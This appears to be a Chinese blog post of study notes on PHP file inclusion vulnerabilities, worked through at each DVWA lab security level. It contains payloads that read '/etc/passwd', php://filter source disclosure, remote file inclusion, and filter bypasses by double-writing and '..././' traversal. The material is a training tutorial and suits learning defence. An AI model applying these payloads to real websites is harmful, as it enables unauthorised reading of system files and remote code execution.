• DVWA-文件包含学习笔记


    DVWA-文件包含学习笔记

    一、文件包含与漏洞

    文件包含:

      开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。

    文件包含漏洞:

      开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。

    二、文件包含漏洞用到的函数

    require:找不到被包含的文件,报错,并且停止运行脚本。

    include:找不到被包含的文件,只会报错,但会继续运行脚本。

    require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。

    include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。

    三、目录遍历与文件包含的区别

      目录遍历是可以读取web目录以外的其他目录,根源在于对路径访问权限设置不严格,针对本系统。

      文件包含是利用函数来包含web目录以外的文件,分为本地包含和远程包含。

    四、文件包含特征

    ?page=a.php
    ?home=b.html
    ?file=content

    检测方法

    ?file=../../../../etc/passwd
    ?page=file:///etc/passwd
    ?home=main.cgi
    ?page=http://www.a.com/1.php
    http://1.1.1.1/../../../../dir/file.txt

     

    五、DVWA练习

    1.修改php.ini配置文件开启文件包含功能

    allow_url_include = on

       

    将DVWA的级别设置为low

    1.分析源码,可以看到没有对page参数做任何过滤

      

     本地文件包含

    2.尝试利用文件包含

    2.1绝对路径

      

    文件包含时,不管包含的文件是什么类型,都会优先尝试当作php文件执行,如果文件内容有php代码,则会执行php代码并返回代码执行的结果,如果文件内容没有php代码,则把文件内容打印出来

       

    文件内容没有php代码,把文件内容打印(显示)到浏览器页面

       

    2.2相对路径

      

    3.使用php封装协议读取和写入php文件

    3.1读取文件

    php://filter/read=convert.base64-encode/resource=..././..././..././..././1.txt 访问,可以看到显示了base64编码的内容

      

    使用burpsuit的decode模块解码

      

    3.2写入php文件,下图可以看到输入的内容并返回结果

      

    远程文件包含

    1.通过http协议包含本地服务器上的文件

      

    2.通过http协议包含远程服务器上的文件

      

    将DVWA的级别设置为medium

    1.分析源码,可以看到使用str_replace函数对http://、https://、../ 、..进行了过滤,但可以通过双写来绕过,或者使用绝对路径来绕过

      

    2.尝试绕过

    先使用http://192.168.10.130/1.txt 抓包分析,可以看到对http://做了过滤

      

    使用双写绕过http://的过滤    htthttp://p://192.168.10.144/1.txt

      

    使用..././..././..././..././..././..././..././ 绕过../的过滤

      

    使用绝对路径绕过

      

    使用file协议绕过

      

    将DVWA的级别设置为High

    1.分析源码可以看到,如果$file变量中不含有file并且$file不等于include.php,此时服务器才不会去包含文件,两个条件只要不满足其中任意一个,就能达到文件包含的目的,可以是同file协议来绕过

      

    2.使用file协议绕过

      

    将DVWA的级别设置为Impossible

    1.分析源码可以看到,使用白名单,page只能为include.php”、“file1.php”、“file2.php”、“file3.php”之一,只允许包含include.php、file1.php、file2.php、file3.php,不能包含别的文件,彻底杜绝文件包含漏洞

      

  • 相关阅读:
    【Python必学】Python爬虫反爬策略你肯定不会吧?
    SpringBoot_日志-切换日志框架
    dev、test和prod是什么意思
    SpringBoot_日志-指定日志文件和日志Profile功能
    SpringBoot_日志-SpringBoot默认配置
    SpringBoot_日志-SpringBoot日志关系
    SpringBoot_日志-其他日志框架统一转换为slf4j
    SpringBoot_日志-日志框架分类和选择
    SpringBoot_配置-@Conditional&自动配置报告
    gcc系列工具 介绍
  • 原文地址:https://www.cnblogs.com/yuzly/p/10799486.html
Copyright © 2020-2023  润新知